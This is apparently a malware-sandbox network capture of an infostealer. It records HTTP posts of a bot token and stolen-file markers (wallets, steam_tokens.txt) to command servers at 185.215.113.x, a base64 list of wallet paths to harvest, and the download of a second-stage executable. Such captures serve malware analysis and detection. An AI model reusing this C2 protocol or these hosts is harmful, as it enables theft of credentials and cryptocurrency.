Dec 9, 2024 15:29:37.308463097 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 14:29:36 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Dec 9, 2024 15:29:37.771790981 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 9, 2024 15:29:38.215020895 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 14:29:37 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Dec 9, 2024 15:29:38.753886938 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDAKJKEHDBGHIDHIEHDB Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 15:29:39.870368958 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 14:29:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 9, 2024 15:29:39.939528942 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGHJEBKJEGHJKECAAKJK Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 34 38 32 66 35 65 37 65 61 65 31 36 61 65 34 33 64 39 34 65 30 63 39 65 37 37 39 61 34 39 66 62 33 36 64 32 65 65 66 38 66 66 66 65 36 61 32 66 33 61 32 36 31 61 64 32 66 37 36 62 65 32 38 36 61 66 65 38 64 31 31 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 4b 2d 2d 0d 0a Data Ascii: ------BGHJEBKJEGHJKECAAKJKContent-Disposition: form-data; name="token"7482f5e7eae16ae43d94e0c9e779a49fb36d2eef8fffe6a2f3a261ad2f76be286afe8d11------BGHJEBKJEGHJKECAAKJKContent-Disposition: form-data; name="message"wallets------BGHJEBKJEGHJKECAAKJK--
Dec 9, 2024 15:29:40.393735886 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 14:29:40 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Dec 9, 2024 15:29:40.397978067 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDAEBGCAAECAKFHIIJDB Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 34 38 32 66 35 65 37 65 61 65 31 36 61 65 34 33 64 39 34 65 30 63 39 65 37 37 39 61 34 39 66 62 33 36 64 32 65 65 66 38 66 66 66 65 36 61 32 66 33 61 32 36 31 61 64 32 66 37 36 62 65 32 38 36 61 66 65 38 64 31 31 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 4a 44 42 2d 2d 0d 0a Data Ascii: ------IDAEBGCAAECAKFHIIJDBContent-Disposition: form-data; name="token"7482f5e7eae16ae43d94e0c9e779a49fb36d2eef8fffe6a2f3a261ad2f76be286afe8d11------IDAEBGCAAECAKFHIIJDBContent-Disposition: form-data; name="message"files------IDAEBGCAAECAKFHIIJDB--
Dec 9, 2024 15:29:40.842052937 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 14:29:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 9, 2024 15:29:40.853339911 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECAFHIIJJECGDHIEGDAK Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 41 46 48 49 49 4a 4a 45 43 47 44 48 49 45 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 34 38 32 66 35 65 37 65 61 65 31 36 61 65 34 33 64 39 34 65 30 63 39 65 37 37 39 61 34 39 66 62 33 36 64 32 65 65 66 38 66 66 66 65 36 61 32 66 33 61 32 36 31 61 64 32 66 37 36 62 65 32 38 36 61 66 65 38 64 31 31 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 49 49 4a 4a 45 43 47 44 48 49 45 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 49 49 4a 4a 45 43 47 44 48 49 45 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------ECAFHIIJJECGDHIEGDAKContent-Disposition: form-data; name="token"7482f5e7eae16ae43d94e0c9e779a49fb36d2eef8fffe6a2f3a261ad2f76be286afe8d11------ECAFHIIJJECGDHIEGDAKContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------ECAFHIIJJECGDHIEGDAKContent-Disposition: form-data; name="file"------ECAFHIIJJECGDHIEGDAK--
Dec 9, 2024 15:29:41.787620068 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 14:29:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 9, 2024 15:29:41.790158987 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGDBAFHJJDAKEBGCFCBG Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 44 42 41 46 48 4a 4a 44 41 4b 45 42 47 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 34 38 32 66 35 65 37 65 61 65 31 36 61 65 34 33 64 39 34 65 30 63 39 65 37 37 39 61 34 39 66 62 33 36 64 32 65 65 66 38 66 66 66 65 36 61 32 66 33 61 32 36 31 61 64 32 66 37 36 62 65 32 38 36 61 66 65 38 64 31 31 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 42 41 46 48 4a 4a 44 41 4b 45 42 47 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 42 41 46 48 4a 4a 44 41 4b 45 42 47 43 46 43 42 47 2d 2d 0d 0a Data Ascii: ------EGDBAFHJJDAKEBGCFCBGContent-Disposition: form-data; name="token"7482f5e7eae16ae43d94e0c9e779a49fb36d2eef8fffe6a2f3a261ad2f76be286afe8d11------EGDBAFHJJDAKEBGCFCBGContent-Disposition: form-data; name="message"ybncbhylepme------EGDBAFHJJDAKEBGCFCBG--
Dec 9, 2024 15:29:42.236859083 CET	271	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 14:29:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49805	185.215.113.16	80	3040	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 15:29:42.360984087 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Dec 9, 2024 15:29:43.711155891 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 14:29:43 GMT Content-Type: application/octet-stream Content-Length: 3230720 Last-Modified: Mon, 09 Dec 2024 13:45:28 GMT Connection: keep-alive ETag: "6756f478-314c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 50 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfP1@1<1@Wk`<1<1 @.rsrc@.idata @rxvxvspl*@qzwxpcbw@1$1@.taggant0P1"1@
Dec 9, 2024 15:29:43.711796999 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 15:29:43.712424040 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 15:29:43.712830067 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 15:29:43.712841034 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 15:29:43.713684082 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 15:29:43.714437962 CET	1236	IN	Data Raw: 41 d9 93 19 07 da ea 6c 7a 31 93 d1 89 98 50 19 27 ef 45 ef 4d b3 85 cc 4e 1b ee 28 78 57 97 51 e1 d9 93 19 07 da ea 6c 7a 31 93 d1 91 98 50 19 27 17 47 ef 4d b3 e5 cc 4e 1b ee c8 77 57 97 51 01 d9 93 19 07 da ea 6c 7a 31 93 d1 f9 98 50 19 27 87 Data Ascii: Alz1P'EMN(xWQlz1P'GMNwWQlz1P'DMNhxWQlz1P',M%NyWQlz1P'?BMN}WQalz1P'GFMeNH}WQlz1P'_GMEN}WQ!lz1P'E
Dec 9, 2024 15:29:43.714448929 CET	248	IN	Data Raw: 4d b3 45 d1 4e 1b ee e8 69 57 97 51 21 60 94 19 07 da ea 6c 7a 31 a7 d1 15 95 50 19 27 37 49 ef 4d b3 a5 d1 4e 1b ee 88 6a 57 97 51 41 60 94 19 07 da ea 6c 7a 31 3b d1 69 95 50 19 27 e3 42 ef 4d b3 85 d1 4e 1b ee 28 6b 57 97 51 e1 60 94 19 07 da Data Ascii: MENiWQ!`lz1P'7IMNjWQA`lz1;iP'BMN(kWQ`lz1IP'GMNjWQ`lz1P'GKMNhgWQ`lz1P'CM%NhWQ`lz1P'EMNhWQa_lz1P'{AMeNHhWQ_
Dec 9, 2024 15:29:43.715338945 CET	1236	IN	Data Raw: 05 96 50 19 27 6f 43 ef 4d b3 45 ce 4e 1b ee e8 68 57 97 51 21 5f 94 19 07 da ea 6c 7a 31 a7 d1 dd 96 50 19 27 ef 2b ef 4d b3 a5 ce 4e 1b ee 88 6d 57 97 51 41 5f 94 19 07 da ea 6c 7a 31 93 d1 d1 96 50 19 27 3f 48 ef 4d b3 85 ce 4e 1b ee 28 6e 57 Data Ascii: P'oCMENhWQ!_lz1P'+MNmWQA_lz1P'?HMN(nWQ_lz19P'/FMNmWQ_lz15P'gKMNhnWQ_lz1P'HM%NoWQ_lz1P''GMNkWQablz1P'OCMeNHkW
Dec 9, 2024 15:29:43.716175079 CET	1236	IN	Data Raw: 61 66 94 19 07 da ea 6c 7a 31 93 d1 7d 92 50 19 27 6f 4a ef 4d b3 65 b3 4e 1b ee 48 57 57 97 51 81 66 94 19 07 da ea 6c 7a 31 a7 d1 85 92 50 19 27 87 4a ef 4d b3 45 b3 4e 1b ee e8 57 57 97 51 21 66 94 19 07 da ea 6c 7a 31 93 d1 59 92 50 19 27 2f Data Ascii: aflz1}P'oJMeNHWWQflz1P'JMENWWQ!flz1YP'/EMNXWQAflz1aP'EMN(YWQflz17P'wBMNXWQflz1P'GMNh]WQflz1P'FM%N^WQflz1P'J
Dec 9, 2024 15:29:43.830956936 CET	1236	IN	Data Raw: 52 1b ea 6c 7a 48 2a 4d 00 92 84 29 01 db 27 ef 51 4b ce 2e 42 18 53 19 f0 0e e0 18 d5 58 8f 92 0e 17 66 51 ea 08 95 19 cd d7 8e aa 10 3d f8 52 52 1b ea 6c 7a 90 54 15 11 1c 22 14 93 1b 66 51 31 08 95 19 07 da ea 6c 7a cf ea 6c 7a cf ea 6c 7a cf Data Ascii: RlzHM)'QK.BSXfQ=RRlzT"fQ1lzlzlzlzL&M)lzHM.BS$MURO1O'Eoo@NaY9%\nfSlzlzLo3;lzlzHM1`QV=RRlzlzHM1F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49820	185.215.113.206	80	3040	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 15:29:49.470730066 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKJKKKJJJKJKFHJJJJEC Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 34 38 32 66 35 65 37 65 61 65 31 36 61 65 34 33 64 39 34 65 30 63 39 65 37 37 39 61 34 39 66 62 33 36 64 32 65 65 66 38 66 66 66 65 36 61 32 66 33 61 32 36 31 61 64 32 66 37 36 62 65 32 38 36 61 66 65 38 64 31 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 2d 2d 0d 0a Data Ascii: ------JKJKKKJJJKJKFHJJJJECContent-Disposition: form-data; name="token"7482f5e7eae16ae43d94e0c9e779a49fb36d2eef8fffe6a2f3a261ad2f76be286afe8d11------JKJKKKJJJKJKFHJJJJECContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JKJKKKJJJKJKFHJJJJEC--
Dec 9, 2024 15:29:51.314723015 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 14:29:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49854	185.215.113.43	80	3788	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 15:30:05.178400993 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 15:30:06.533797979 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 14:30:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49860	185.215.113.43	80	3788	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
